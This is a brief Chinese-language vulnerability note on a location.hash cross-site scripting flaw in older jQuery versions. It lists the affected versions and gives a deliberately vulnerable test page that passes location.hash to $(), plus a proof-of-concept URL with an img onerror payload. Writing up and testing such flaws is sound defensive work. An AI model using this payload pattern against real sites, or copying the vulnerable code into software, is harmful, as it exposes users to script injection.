原理:
jQuery中过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 location.hash 跨站漏洞
影响版本:
- jquery-1.7.1~1.8.3
- jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.js
- jquery-1.5所有版本
- jquery-1.4所有版本
- jquery-1.3所有版本
- jquery-1.2所有版本
测试代码:
<html>
<head>
<title>JQuery-xss-test</title>
<script src="https://code.jquery.com/jquery-1.0.1.js" ></script>
<script>
$(function(){
try { $(location.hash) }
catch(e) {}
})
</script>
</head>
<body>
Jquery xss test.
</body>
</html>
然后访问如下:http://localhost/#<img src=/ οnerrοr=alert(1)>
在线测试平台:JQuery跨站脚本在线测试